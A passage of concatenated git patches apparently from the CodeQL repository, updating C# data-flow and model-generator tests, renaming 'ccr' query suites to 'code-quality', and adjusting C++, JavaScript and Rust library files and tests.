[post] access to local variable x : SimpleClass [field field] : String | GlobalDataFlow.cs:547:15:547:15 | access to local variable x : SimpleClass [field field] : String | provenance | | +| GlobalDataFlow.cs:546:20:546:24 | [post] ... = ... : SimpleClass [field field] : String | GlobalDataFlow.cs:547:15:547:15 | access to local variable x : SimpleClass [field field] : String | provenance | | | GlobalDataFlow.cs:547:15:547:15 | access to local variable x : SimpleClass [field field] : String | GlobalDataFlow.cs:547:15:547:21 | access to field field | provenance | | | GlobalDataFlow.cs:553:71:553:71 | e : null [element] : String | GlobalDataFlow.cs:556:27:556:27 | access to parameter e : null [element] : String | provenance | | | GlobalDataFlow.cs:556:27:556:27 | access to parameter e : null [element] : String | GlobalDataFlow.cs:558:46:558:46 | access to local variable x : String | provenance | | @@ -983,43 +977,37 @@ nodes | GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | semmle.label | sc [Return] : SimpleClass [field field] : String | | GlobalDataFlow.cs:483:9:483:10 | [post] access to parameter sc : SimpleClass [field field] : String | semmle.label | [post] access to parameter sc : SimpleClass [field field] : String | | GlobalDataFlow.cs:483:20:483:33 | "taint source" : String | semmle.label | "taint source" : String | -| GlobalDataFlow.cs:490:25:490:26 | [post] access to local variable x1 : SimpleClass [field field] : String | semmle.label | [post] access to local variable x1 : SimpleClass [field field] : String | -| GlobalDataFlow.cs:490:30:490:31 | [post] access to local variable x2 : SimpleClass [field field] : String | semmle.label | [post] access to local variable x2 : SimpleClass [field field] : String | +| GlobalDataFlow.cs:490:20:490:31 | [post] ... ? ... : ... : SimpleClass [field field] : String | semmle.label | [post] ... ? ... : ... : SimpleClass [field field] : String | | GlobalDataFlow.cs:491:15:491:16 | access to local variable x1 : SimpleClass [field field] : String | semmle.label | access to local variable x1 : SimpleClass [field field] : String | | GlobalDataFlow.cs:491:15:491:22 | access to field field | semmle.label | access to field field | | GlobalDataFlow.cs:492:15:492:16 | access to local variable x2 : SimpleClass [field field] : String | semmle.label | access to local variable x2 : SimpleClass [field field] : String | | GlobalDataFlow.cs:492:15:492:22 | access to field field | semmle.label | access to field field | -| GlobalDataFlow.cs:497:31:497:32 | [post] access to local variable y1 : SimpleClass [field field] : String | semmle.label | [post] access to local variable y1 : SimpleClass [field field] : String | -| GlobalDataFlow.cs:497:36:497:37 | [post] access to local variable y2 : SimpleClass [field field] : String | semmle.label | [post] access to local variable y2 : SimpleClass [field field] : String | -| GlobalDataFlow.cs:497:42:497:43 | [post] access to local variable y3 : SimpleClass [field field] : String | semmle.label | [post] access to local variable y3 : SimpleClass [field field] : String | +| GlobalDataFlow.cs:497:20:497:43 | [post] ... ? ... : ... : SimpleClass [field field] : String | semmle.label | [post] ... ? ... : ... : SimpleClass [field field] : String | | GlobalDataFlow.cs:498:15:498:16 | access to local variable y1 : SimpleClass [field field] : String | semmle.label | access to local variable y1 : SimpleClass [field field] : String | | GlobalDataFlow.cs:498:15:498:22 | access to field field | semmle.label | access to field field | | GlobalDataFlow.cs:499:15:499:16 | access to local variable y2 : SimpleClass [field field] : String | semmle.label | access to local variable y2 : SimpleClass [field field] : String | | GlobalDataFlow.cs:499:15:499:22 | access to field field | semmle.label | access to field field | | GlobalDataFlow.cs:500:15:500:16 | access to local variable y3 : SimpleClass [field field] : String | semmle.label | access to local variable y3 : SimpleClass [field field] : String | | GlobalDataFlow.cs:500:15:500:22 | access to field field | semmle.label | access to field field | -| GlobalDataFlow.cs:508:33:508:33 | [post] access to local variable x : SubSimpleClass [field field] : String | semmle.label | [post] access to local variable x : SubSimpleClass [field field] : String | -| GlobalDataFlow.cs:509:15:509:15 | access to local variable x : SubSimpleClass [field field] : String | semmle.label | access to local variable x : SubSimpleClass [field field] : String | +| GlobalDataFlow.cs:508:20:508:33 | [post] (...) ... : SimpleClass [field field] : String | semmle.label | [post] (...) ... : SimpleClass [field field] : String | +| GlobalDataFlow.cs:509:15:509:15 | access to local variable x : SimpleClass [field field] : String | semmle.label | access to local variable x : SimpleClass [field field] : String | | GlobalDataFlow.cs:509:15:509:21 | access to field field | semmle.label | access to field field | -| GlobalDataFlow.cs:515:20:515:20 | [post] access to parameter x : SimpleClass [field field] : String | semmle.label | [post] access to parameter x : SimpleClass [field field] : String | -| GlobalDataFlow.cs:515:25:515:25 | [post] access to local variable y : SimpleClass [field field] : String | semmle.label | [post] access to local variable y : SimpleClass [field field] : String | +| GlobalDataFlow.cs:515:20:515:25 | [post] ... ?? ... : SimpleClass [field field] : String | semmle.label | [post] ... ?? ... : SimpleClass [field field] : String | | GlobalDataFlow.cs:516:15:516:15 | access to parameter x : SimpleClass [field field] : String | semmle.label | access to parameter x : SimpleClass [field field] : String | | GlobalDataFlow.cs:516:15:516:21 | access to field field | semmle.label | access to field field | | GlobalDataFlow.cs:517:15:517:15 | access to local variable y : SimpleClass [field field] : String | semmle.label | access to local variable y : SimpleClass [field field] : String | | GlobalDataFlow.cs:517:15:517:21 | access to field field | semmle.label | access to field field | -| GlobalDataFlow.cs:527:20:527:20 | [post] access to local variable x : SimpleClass [field field] : String | semmle.label | [post] access to local variable x : SimpleClass [field field] : String | -| GlobalDataFlow.cs:528:20:528:20 | [post] access to local variable y : SimpleClass [field field] : String | semmle.label | [post] access to local variable y : SimpleClass [field field] : String | -| GlobalDataFlow.cs:529:18:529:18 | [post] access to local variable z : SimpleClass [field field] : String | semmle.label | [post] access to local variable z : SimpleClass [field field] : String | +| GlobalDataFlow.cs:525:20:530:9 | [post] ... switch { ... } : SimpleClass [field field] : String | semmle.label | [post] ... switch { ... } : SimpleClass [field field] : String | | GlobalDataFlow.cs:531:15:531:15 | access to local variable x : SimpleClass [field field] : String | semmle.label | access to local variable x : SimpleClass [field field] : String | | GlobalDataFlow.cs:531:15:531:21 | access to field field | semmle.label | access to field field | | GlobalDataFlow.cs:532:15:532:15 | access to local variable y : SimpleClass [field field] : String | semmle.label | access to local variable y : SimpleClass [field field] : String | | GlobalDataFlow.cs:532:15:532:21 | access to field field | semmle.label | access to field field | | GlobalDataFlow.cs:533:15:533:15 | access to local variable z : SimpleClass [field field] : String | semmle.label | access to local variable z : SimpleClass [field field] : String | | GlobalDataFlow.cs:533:15:533:21 | access to field field | semmle.label | access to field field | -| GlobalDataFlow.cs:538:20:538:21 | [post] access to parameter sc : SimpleClass [field field] : String | semmle.label | [post] access to parameter sc : SimpleClass [field field] : String | +| GlobalDataFlow.cs:538:20:538:22 | [post] ...! : SimpleClass [field field] : String | semmle.label | [post] ...! : SimpleClass [field field] : String | | GlobalDataFlow.cs:539:15:539:16 | access to parameter sc : SimpleClass [field field] : String | semmle.label | access to parameter sc : SimpleClass [field field] : String | | GlobalDataFlow.cs:539:15:539:22 | access to field field | semmle.label | access to field field | -| GlobalDataFlow.cs:546:24:546:24 | [post] access to local variable x : SimpleClass [field field] : String | semmle.label | [post] access to local variable x : SimpleClass [field field] : String | +| GlobalDataFlow.cs:546:20:546:24 | [post] ... = ... : SimpleClass [field field] : String | semmle.label | [post] ... = ... : SimpleClass [field field] : String | | GlobalDataFlow.cs:547:15:547:15 | access to local variable x : SimpleClass [field field] : String | semmle.label | access to local variable x : SimpleClass [field field] : String | | GlobalDataFlow.cs:547:15:547:21 | access to field field | semmle.label | access to field field | | GlobalDataFlow.cs:553:71:553:71 | e : null [element] : String | semmle.label | e : null [element] : String | From bcefdc889358801df0a715004bb37d402ee484ce Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Tue, 25 Mar 2025 11:55:31 +0100 Subject: [PATCH 086/121] C#: Add model generator test cases with in/out parameters. --- .../CaptureContentSummaryModels.expected | 6 +++ .../dataflow/CaptureNeutralModels.expected | 2 + .../dataflow/CaptureSummaryModels.expected | 6 +++ .../modelgenerator/dataflow/Summaries.cs | 37 +++++++++++++++++++ 4 files changed, 51 insertions(+) diff --git a/csharp/ql/test/utils/modelgenerator/dataflow/CaptureContentSummaryModels.expected b/csharp/ql/test/utils/modelgenerator/dataflow/CaptureContentSummaryModels.expected index cb6fc390349..cfa58d33392 100644 --- a/csharp/ql/test/utils/modelgenerator/dataflow/CaptureContentSummaryModels.expected +++ b/csharp/ql/test/utils/modelgenerator/dataflow/CaptureContentSummaryModels.expected @@ -1,2 +1,8 @@ unexpectedModel +| Unexpected contentbased-summary found: Models;ParameterModifiers;false;Copy;(System.Object,System.Object);;Argument[0];ReturnValue;value;dfc-generated | +| Unexpected contentbased-summary found: Models;ParameterModifiers;false;CopyToRef;(System.Object,System.Object);;Argument[0];ReturnValue;value;dfc-generated | +| Unexpected contentbased-summary found: Models;ParameterModifiers;false;RefParamFlowToSelf;(System.Object,System.Boolean);;Argument[0];ReturnValue;value;dfc-generated | +| Unexpected contentbased-summary found: Models;ParameterModifiers;false;RefParamUse;(System.Object);;Argument[0];ReturnValue;value;dfc-generated | expectedModel +| Expected contentbased-summary missing: Models;ParameterModifiers;false;Copy;(System.Object,System.Object);;Argument[0];Argument[1];value;dfc-generated | +| Expected contentbased-summary missing: Models;ParameterModifiers;false;CopyToRef;(System.Object,System.Object);;Argument[0];Argument[1];value;dfc-generated | diff --git a/csharp/ql/test/utils/modelgenerator/dataflow/CaptureNeutralModels.expected b/csharp/ql/test/utils/modelgenerator/dataflow/CaptureNeutralModels.expected index cb6fc390349..298be58e052 100644 --- a/csharp/ql/test/utils/modelgenerator/dataflow/CaptureNeutralModels.expected +++ b/csharp/ql/test/utils/modelgenerator/dataflow/CaptureNeutralModels.expected @@ -1,2 +1,4 @@ unexpectedModel expectedModel +| Expected neutral missing: Models;ParameterModifiers;RefParamFlowToSelf;(System.Object,System.Boolean);summary;df-generated | +| Expected neutral missing: Models;ParameterModifiers;RefParamUse;(System.Object);summary;df-generated | diff --git a/csharp/ql/test/utils/modelgenerator/dataflow/CaptureSummaryModels.expected b/csharp/ql/test/utils/modelgenerator/dataflow/CaptureSummaryModels.expected index cb6fc390349..5af965f0228 100644 --- a/csharp/ql/test/utils/modelgenerator/dataflow/CaptureSummaryModels.expected +++ b/csharp/ql/test/utils/modelgenerator/dataflow/CaptureSummaryModels.expected @@ -1,2 +1,8 @@ unexpectedModel +| Unexpected summary found: Models;ParameterModifiers;false;Copy;(System.Object,System.Object);;Argument[0];ReturnValue;taint;df-generated | +| Unexpected summary found: Models;ParameterModifiers;false;CopyToRef;(System.Object,System.Object);;Argument[0];ReturnValue;taint;df-generated | +| Unexpected summary found: Models;ParameterModifiers;false;RefParamFlowToSelf;(System.Object,System.Boolean);;Argument[0];ReturnValue;taint;df-generated | +| Unexpected summary found: Models;ParameterModifiers;false;RefParamUse;(System.Object);;Argument[0];ReturnValue;taint;df-generated | expectedModel +| Expected summary missing: Models;ParameterModifiers;false;Copy;(System.Object,System.Object);;Argument[0];Argument[1];taint;df-generated | +| Expected summary missing: Models;ParameterModifiers;false;CopyToRef;(System.Object,System.Object);;Argument[0];Argument[1];taint;df-generated | diff --git a/csharp/ql/test/utils/modelgenerator/dataflow/Summaries.cs b/csharp/ql/test/utils/modelgenerator/dataflow/Summaries.cs index 2d8bbc8912b..7a6f16f383e 100644 --- a/csharp/ql/test/utils/modelgenerator/dataflow/Summaries.cs +++ b/csharp/ql/test/utils/modelgenerator/dataflow/Summaries.cs @@ -1034,3 +1034,40 @@ public class AvoidDuplicateLifted } } } + +public class ParameterModifiers +{ + // contentbased-summary=Models;ParameterModifiers;false;Copy;(System.Object,System.Object);;Argument[0];Argument[1];value;dfc-generated + // summary=Models;ParameterModifiers;false;Copy;(System.Object,System.Object);;Argument[0];Argument[1];taint;df-generated + public void Copy(object key, out object value) + { + value = key; + } + + // contentbased-summary=Models;ParameterModifiers;false;CopyToRef;(System.Object,System.Object);;Argument[0];Argument[1];value;dfc-generated + // summary=Models;ParameterModifiers;false;CopyToRef;(System.Object,System.Object);;Argument[0];Argument[1];taint;df-generated + public void CopyToRef(object key, ref object value) + { + value = key; + } + + // No summaries as we disregard flow from a parameter to itself. + // neutral=Models;ParameterModifiers;RefParamFlowToSelf;(System.Object,System.Boolean);summary;df-generated + public void RefParamFlowToSelf(ref object value, bool b) + { + value = b ? value : null; + } + + // neutral=Models;ParameterModifiers;RefParamUse;(System.Object);summary;df-generated + public void RefParamUse(ref object value) + { + var b = value is null; + } + + // contentbased-summary=Models;ParameterModifiers;false;InReturn;(System.Object);;Argument[0];ReturnValue;value;dfc-generated + // summary=Models;ParameterModifiers;false;InReturn;(System.Object);;Argument[0];ReturnValue;taint;df-generated + public object InReturn(in object v) + { + return v; + } +} From 8763d18c9169bcadaaa16e6247a226838a40bfc8 Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Tue, 25 Mar 2025 15:24:13 +0100 Subject: [PATCH 087/121] C#: Correct printing of out and ref notes in the model generator. --- .../modelgenerator/internal/CaptureModels.qll | 4 ++++ .../internal/ModelGeneratorImpl.qll | 16 +++++++++++++++- 2 files changed, 19 insertions(+), 1 deletion(-) diff --git a/csharp/ql/src/utils/modelgenerator/internal/CaptureModels.qll b/csharp/ql/src/utils/modelgenerator/internal/CaptureModels.qll index 108c3f84d2c..125204d7c5b 100644 --- a/csharp/ql/src/utils/modelgenerator/internal/CaptureModels.qll +++ b/csharp/ql/src/utils/modelgenerator/internal/CaptureModels.qll @@ -233,6 +233,10 @@ module ModelGeneratorInput implements ModelGeneratorInputSig::paramReturnNodeAsOutput(c, pos) } + ParameterPosition getReturnKindParamPosition(ReturnKind kind) { + kind.(OutRefReturnKind).getPosition() = result.getPosition() + } + Callable returnNodeEnclosingCallable(DataFlow::Node ret) { result = DataFlowImplCommon::getNodeEnclosingCallable(ret).asCallable(_) } diff --git a/shared/mad/codeql/mad/modelgenerator/internal/ModelGeneratorImpl.qll b/shared/mad/codeql/mad/modelgenerator/internal/ModelGeneratorImpl.qll index 64b5b0c3b1f..0678d07e7f4 100644 --- a/shared/mad/codeql/mad/modelgenerator/internal/ModelGeneratorImpl.qll +++ b/shared/mad/codeql/mad/modelgenerator/internal/ModelGeneratorImpl.qll @@ -221,6 +221,11 @@ signature module ModelGeneratorInputSig */ string printContent(Lang::ContentSet c); + /** + * Gets the parameter position of the return kind, if any. + */ + default Lang::ParameterPosition getReturnKindParamPosition(Lang::ReturnKind node) { none() } + /** * Holds if it is irrelevant to generate models for `api` based on data flow analysis. * @@ -301,6 +306,14 @@ module MakeModelGenerator< * Gets the kind of the return node. */ DataFlow::ReturnKindExt getKind() { result = kind } + + /** + * Gets the parameter position of the return node, if any. + */ + DataFlow::ParameterPosition getPosition() { + result = this.getKind().(DataFlow::ParamUpdateReturnKind).getPosition() or + result = getReturnKindParamPosition(this.getKind().(DataFlow::ValueReturnKind).getKind()) + } } bindingset[c] @@ -309,10 +322,11 @@ module MakeModelGenerator< private module PrintReturnNodeExt { string getOutput(ReturnNodeExt node) { node.getKind() instanceof DataFlow::ValueReturnKind and + not exists(node.getPosition()) and result = "ReturnValue" or exists(DataFlow::ParameterPosition pos | - pos = node.getKind().(DataFlow::ParamUpdateReturnKind).getPosition() and + pos = node.getPosition() and result = printCallableParam(returnNodeEnclosingCallable(node), pos) ) } From 8bda7ce6be2aa53c0d8cec82fed75b542b99d3d3 Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Tue, 25 Mar 2025 15:28:02 +0100 Subject: [PATCH 088/121] C#: Update model generator expected test output. --- .../dataflow/CaptureContentSummaryModels.expected | 6 ------ .../modelgenerator/dataflow/CaptureNeutralModels.expected | 2 -- .../modelgenerator/dataflow/CaptureSummaryModels.expected | 6 ------ 3 files changed, 14 deletions(-) diff --git a/csharp/ql/test/utils/modelgenerator/dataflow/CaptureContentSummaryModels.expected b/csharp/ql/test/utils/modelgenerator/dataflow/CaptureContentSummaryModels.expected index cfa58d33392..cb6fc390349 100644 --- a/csharp/ql/test/utils/modelgenerator/dataflow/CaptureContentSummaryModels.expected +++ b/csharp/ql/test/utils/modelgenerator/dataflow/CaptureContentSummaryModels.expected @@ -1,8 +1,2 @@ unexpectedModel -| Unexpected contentbased-summary found: Models;ParameterModifiers;false;Copy;(System.Object,System.Object);;Argument[0];ReturnValue;value;dfc-generated | -| Unexpected contentbased-summary found: Models;ParameterModifiers;false;CopyToRef;(System.Object,System.Object);;Argument[0];ReturnValue;value;dfc-generated | -| Unexpected contentbased-summary found: Models;ParameterModifiers;false;RefParamFlowToSelf;(System.Object,System.Boolean);;Argument[0];ReturnValue;value;dfc-generated | -| Unexpected contentbased-summary found: Models;ParameterModifiers;false;RefParamUse;(System.Object);;Argument[0];ReturnValue;value;dfc-generated | expectedModel -| Expected contentbased-summary missing: Models;ParameterModifiers;false;Copy;(System.Object,System.Object);;Argument[0];Argument[1];value;dfc-generated | -| Expected contentbased-summary missing: Models;ParameterModifiers;false;CopyToRef;(System.Object,System.Object);;Argument[0];Argument[1];value;dfc-generated | diff --git a/csharp/ql/test/utils/modelgenerator/dataflow/CaptureNeutralModels.expected b/csharp/ql/test/utils/modelgenerator/dataflow/CaptureNeutralModels.expected index 298be58e052..cb6fc390349 100644 --- a/csharp/ql/test/utils/modelgenerator/dataflow/CaptureNeutralModels.expected +++ b/csharp/ql/test/utils/modelgenerator/dataflow/CaptureNeutralModels.expected @@ -1,4 +1,2 @@ unexpectedModel expectedModel -| Expected neutral missing: Models;ParameterModifiers;RefParamFlowToSelf;(System.Object,System.Boolean);summary;df-generated | -| Expected neutral missing: Models;ParameterModifiers;RefParamUse;(System.Object);summary;df-generated | diff --git a/csharp/ql/test/utils/modelgenerator/dataflow/CaptureSummaryModels.expected b/csharp/ql/test/utils/modelgenerator/dataflow/CaptureSummaryModels.expected index 5af965f0228..cb6fc390349 100644 --- a/csharp/ql/test/utils/modelgenerator/dataflow/CaptureSummaryModels.expected +++ b/csharp/ql/test/utils/modelgenerator/dataflow/CaptureSummaryModels.expected @@ -1,8 +1,2 @@ unexpectedModel -| Unexpected summary found: Models;ParameterModifiers;false;Copy;(System.Object,System.Object);;Argument[0];ReturnValue;taint;df-generated | -| Unexpected summary found: Models;ParameterModifiers;false;CopyToRef;(System.Object,System.Object);;Argument[0];ReturnValue;taint;df-generated | -| Unexpected summary found: Models;ParameterModifiers;false;RefParamFlowToSelf;(System.Object,System.Boolean);;Argument[0];ReturnValue;taint;df-generated | -| Unexpected summary found: Models;ParameterModifiers;false;RefParamUse;(System.Object);;Argument[0];ReturnValue;taint;df-generated | expectedModel -| Expected summary missing: Models;ParameterModifiers;false;Copy;(System.Object,System.Object);;Argument[0];Argument[1];taint;df-generated | -| Expected summary missing: Models;ParameterModifiers;false;CopyToRef;(System.Object,System.Object);;Argument[0];Argument[1];taint;df-generated | From 9af65001b3214c37c8e3963da30c05dabfb34c28 Mon Sep 17 00:00:00 2001 From: idrissrio Date: Wed, 26 Mar 2025 15:08:04 +0100 Subject: [PATCH 089/121] C++: accept changes after C++ extractor preprocessor fix --- cpp/ql/test/library-tests/preprocessor/preprocessor/pp.cpp | 3 +++ .../library-tests/preprocessor/preprocessor/preproc.expected | 2 ++ 2 files changed, 5 insertions(+) diff --git a/cpp/ql/test/library-tests/preprocessor/preprocessor/pp.cpp b/cpp/ql/test/library-tests/preprocessor/preprocessor/pp.cpp index 43944f54c27..8ff6ff9a3d3 100644 --- a/cpp/ql/test/library-tests/preprocessor/preprocessor/pp.cpp +++ b/cpp/ql/test/library-tests/preprocessor/preprocessor/pp.cpp @@ -192,4 +192,7 @@ A && B //test */ FOOBAR +#endif + +#if/*...*//*...*/A #endif \ No newline at end of file diff --git a/cpp/ql/test/library-tests/preprocessor/preprocessor/preproc.expected b/cpp/ql/test/library-tests/preprocessor/preprocessor/preproc.expected index 6d310fdf192..7c448ba6550 100644 --- a/cpp/ql/test/library-tests/preprocessor/preprocessor/preproc.expected +++ b/cpp/ql/test/library-tests/preprocessor/preprocessor/preproc.expected @@ -86,6 +86,8 @@ | pp.cpp:0:0:0:0 | pp.cpp | 187 | 1 | 187 | 6 | PreprocessorEndif | N/A | N/A | | pp.cpp:0:0:0:0 | pp.cpp | 190 | 1 | 194 | 9 | PreprocessorIf | FOOBAR | N/A | | pp.cpp:0:0:0:0 | pp.cpp | 195 | 1 | 195 | 6 | PreprocessorEndif | N/A | N/A | +| pp.cpp:0:0:0:0 | pp.cpp | 197 | 1 | 197 | 18 | PreprocessorIf | A | N/A | +| pp.cpp:0:0:0:0 | pp.cpp | 198 | 1 | 198 | 6 | PreprocessorEndif | N/A | N/A | | pp.h:0:0:0:0 | pp.h | 1 | 1 | 1 | 12 | PreprocessorPragma | once | N/A | | pp.h:0:0:0:0 | pp.h | 2 | 1 | 2 | 29 | PreprocessorWarning | "This should happen" | N/A | | pp.h:0:0:0:0 | pp.h | 3 | 1 | 3 | 27 | PreprocessorLine | 33 "emerald_city.h" | N/A | From 34e8318797ee25fec84c2e30b6a7abe6a37fe68b Mon Sep 17 00:00:00 2001 From: Tamas Vajk Date: Tue, 11 Mar 2025 13:25:29 +0100 Subject: [PATCH 090/121] Rename the CCR query suite to code-quality --- .../codeql-suites/{actions-ccr.qls => actions-code-quality.qls} | 0 cpp/ql/src/codeql-suites/{cpp-ccr.qls => cpp-code-quality.qls} | 0 .../src/codeql-suites/{csharp-ccr.qls => csharp-code-quality.qls} | 0 go/ql/src/codeql-suites/{go-ccr.qls => go-code-quality.qls} | 0 java/ql/src/codeql-suites/{java-ccr.qls => java-code-quality.qls} | 0 .../{javascript-ccr.qls => javascript-code-quality.qls} | 0 .../src/codeql-suites/{python-ccr.qls => python-code-quality.qls} | 0 ruby/ql/src/codeql-suites/{ruby-ccr.qls => ruby-code-quality.qls} | 0 rust/ql/src/codeql-suites/{rust-ccr.qls => rust-code-quality.qls} | 0 .../src/codeql-suites/{swift-ccr.qls => swift-code-quality.qls} | 0 10 files changed, 0 insertions(+), 0 deletions(-) rename actions/ql/src/codeql-suites/{actions-ccr.qls => actions-code-quality.qls} (100%) rename cpp/ql/src/codeql-suites/{cpp-ccr.qls => cpp-code-quality.qls} (100%) rename csharp/ql/src/codeql-suites/{csharp-ccr.qls => csharp-code-quality.qls} (100%) rename go/ql/src/codeql-suites/{go-ccr.qls => go-code-quality.qls} (100%) rename java/ql/src/codeql-suites/{java-ccr.qls => java-code-quality.qls} (100%) rename javascript/ql/src/codeql-suites/{javascript-ccr.qls => javascript-code-quality.qls} (100%) rename python/ql/src/codeql-suites/{python-ccr.qls => python-code-quality.qls} (100%) rename ruby/ql/src/codeql-suites/{ruby-ccr.qls => ruby-code-quality.qls} (100%) rename rust/ql/src/codeql-suites/{rust-ccr.qls => rust-code-quality.qls} (100%) rename swift/ql/src/codeql-suites/{swift-ccr.qls => swift-code-quality.qls} (100%) diff --git a/actions/ql/src/codeql-suites/actions-ccr.qls b/actions/ql/src/codeql-suites/actions-code-quality.qls similarity index 100% rename from actions/ql/src/codeql-suites/actions-ccr.qls rename to actions/ql/src/codeql-suites/actions-code-quality.qls diff --git a/cpp/ql/src/codeql-suites/cpp-ccr.qls b/cpp/ql/src/codeql-suites/cpp-code-quality.qls similarity index 100% rename from cpp/ql/src/codeql-suites/cpp-ccr.qls rename to cpp/ql/src/codeql-suites/cpp-code-quality.qls diff --git a/csharp/ql/src/codeql-suites/csharp-ccr.qls b/csharp/ql/src/codeql-suites/csharp-code-quality.qls similarity index 100% rename from csharp/ql/src/codeql-suites/csharp-ccr.qls rename to csharp/ql/src/codeql-suites/csharp-code-quality.qls diff --git a/go/ql/src/codeql-suites/go-ccr.qls b/go/ql/src/codeql-suites/go-code-quality.qls similarity index 100% rename from go/ql/src/codeql-suites/go-ccr.qls rename to go/ql/src/codeql-suites/go-code-quality.qls diff --git a/java/ql/src/codeql-suites/java-ccr.qls b/java/ql/src/codeql-suites/java-code-quality.qls similarity index 100% rename from java/ql/src/codeql-suites/java-ccr.qls rename to java/ql/src/codeql-suites/java-code-quality.qls diff --git a/javascript/ql/src/codeql-suites/javascript-ccr.qls b/javascript/ql/src/codeql-suites/javascript-code-quality.qls similarity index 100% rename from javascript/ql/src/codeql-suites/javascript-ccr.qls rename to javascript/ql/src/codeql-suites/javascript-code-quality.qls diff --git a/python/ql/src/codeql-suites/python-ccr.qls b/python/ql/src/codeql-suites/python-code-quality.qls similarity index 100% rename from python/ql/src/codeql-suites/python-ccr.qls rename to python/ql/src/codeql-suites/python-code-quality.qls diff --git a/ruby/ql/src/codeql-suites/ruby-ccr.qls b/ruby/ql/src/codeql-suites/ruby-code-quality.qls similarity index 100% rename from ruby/ql/src/codeql-suites/ruby-ccr.qls rename to ruby/ql/src/codeql-suites/ruby-code-quality.qls diff --git a/rust/ql/src/codeql-suites/rust-ccr.qls b/rust/ql/src/codeql-suites/rust-code-quality.qls similarity index 100% rename from rust/ql/src/codeql-suites/rust-ccr.qls rename to rust/ql/src/codeql-suites/rust-code-quality.qls diff --git a/swift/ql/src/codeql-suites/swift-ccr.qls b/swift/ql/src/codeql-suites/swift-code-quality.qls similarity index 100% rename from swift/ql/src/codeql-suites/swift-ccr.qls rename to swift/ql/src/codeql-suites/swift-code-quality.qls From b5684fd5b22b27147f8c446a682947fc9cafc1c1 Mon Sep 17 00:00:00 2001 From: Tamas Vajk Date: Wed, 12 Mar 2025 10:28:17 +0100 Subject: [PATCH 091/121] Change ccr suite name to code-quality in python script --- misc/scripts/generate-code-scanning-query-list.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/misc/scripts/generate-code-scanning-query-list.py b/misc/scripts/generate-code-scanning-query-list.py index 7cfad6ae200..dae6e3d3835 100755 --- a/misc/scripts/generate-code-scanning-query-list.py +++ b/misc/scripts/generate-code-scanning-query-list.py @@ -31,7 +31,7 @@ assert hasattr(arguments, "ignore_missing_query_packs") # Define which languages and query packs to consider languages = [ "actions", "cpp", "csharp", "go", "java", "javascript", "python", "ruby", "swift" ] -packs = [ "code-scanning", "security-and-quality", "security-extended", "security-experimental", "ccr"] +packs = [ "code-scanning", "security-and-quality", "security-extended", "security-experimental", "code-quality"] class CodeQL: def __init__(self): @@ -183,9 +183,9 @@ with CodeQL() as codeql: else: sys.exit("You can use '--ignore-missing-query-packs' to ignore this error") - # Exception for the CCR suites, which might be empty, but must be resolvable. - if pack == 'ccr' and queries_subp == '': - print(f'Warning: skipping empty suite ccr', file=sys.stderr) + # Exception for the code-quality suites, which might be empty, but must be resolvable. + if pack == 'code-quality' and queries_subp == '': + print(f'Warning: skipping empty suite code-quality', file=sys.stderr) continue # Investigate metadata for every query by using 'codeql resolve metadata' From d771a91c9c131740bd03ffe4d6980cee9a7ececd Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Thu, 27 Mar 2025 10:21:23 +0100 Subject: [PATCH 092/121] Update javascript/ql/lib/change-notes/2025-03-26-async-fileRead.md Co-authored-by: Erik Krogh Kristensen --- javascript/ql/lib/change-notes/2025-03-26-async-fileRead.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/javascript/ql/lib/change-notes/2025-03-26-async-fileRead.md b/javascript/ql/lib/change-notes/2025-03-26-async-fileRead.md index 88032fab482..f15d525530a 100644 --- a/javascript/ql/lib/change-notes/2025-03-26-async-fileRead.md +++ b/javascript/ql/lib/change-notes/2025-03-26-async-fileRead.md @@ -1,4 +1,4 @@ --- category: minorAnalysis --- -* Added data flow from `require("fs").promises.readFile()` to `async`. +* Improved modeling of the `node:fs` module: `await`-ed calls to `read` and `readFile` are now supported. From 0d7505495593879b986a2f5f7657466012a4da5c Mon Sep 17 00:00:00 2001 From: Simon Friis Vindum Date: Thu, 27 Mar 2025 11:20:52 +0100 Subject: [PATCH 093/121] Rust: Implement toString on type aliases and add docs --- rust/ql/.generated.list | 11 ++++---- rust/ql/.gitattributes | 1 - .../codeql/rust/elements/GenericParamList.qll | 7 ++++-- .../ql/lib/codeql/rust/elements/TypeAlias.qll | 9 +++++-- .../internal/GenericParamListImpl.qll | 7 ++++-- .../rust/elements/internal/TypeAliasImpl.qll | 25 ++++++++++++++++--- .../internal/generated/GenericParamList.qll | 7 ++++-- .../rust/elements/internal/generated/Raw.qll | 16 +++++++++--- .../elements/internal/generated/TypeAlias.qll | 9 +++++-- .../generated/.generated_tests.list | 4 +-- .../GenericParamList.expected | 2 ++ .../GenericParamList_getGenericParam.expected | 4 +++ .../gen_generic_param_list.rs | 7 ++++-- .../Trait/AssocItemList_getAssocItem.expected | 4 +-- .../generated/TypeAlias/TypeAlias.expected | 2 ++ .../TypeAlias/TypeAlias_getName.expected | 2 ++ .../TypeAlias/TypeAlias_getTypeRepr.expected | 1 + .../generated/TypeAlias/gen_type_alias.rs | 9 +++++-- .../path-resolution/path-resolution.expected | 2 +- rust/schema/annotations.py | 16 +++++++++--- 20 files changed, 107 insertions(+), 38 deletions(-) diff --git a/rust/ql/.generated.list b/rust/ql/.generated.list index 61fcb951cad..121660b3eea 100644 --- a/rust/ql/.generated.list +++ b/rust/ql/.generated.list @@ -67,7 +67,7 @@ lib/codeql/rust/elements/Function.qll 61fafe4bc91c997e9fb64f2770fc6682d333c61df3 lib/codeql/rust/elements/GenericArg.qll 5f11ce0e3c5f08de84db61f56ba1b984652455ba6b95a8b8a5b5a235913d4072 756b6a73d66fde45bdcc65ce2362a5b1391af2927e6d54b6550b3ecd5fd11e75 lib/codeql/rust/elements/GenericArgList.qll dcf274db517b0e8f19e4545d77f86cdd4066ff2805e68c808d0bb5750b49f569 1055a82929e850264e501b367ef4d314a3e6bb8943ec95f4284d157fb4d0092f lib/codeql/rust/elements/GenericParam.qll b58448b808d6dfa05db9574f54c22ce51f0b1d78784263c75a95d6bfc787067d 4afbab71fe717d7d7d3e2f60ea8c3d97bcb29b17b4efb79eabfe8f070edcb9bb -lib/codeql/rust/elements/GenericParamList.qll 91d6f8cab06d7a3c53cfc714698a04c867867536705f03ed37b135e9e87f78c8 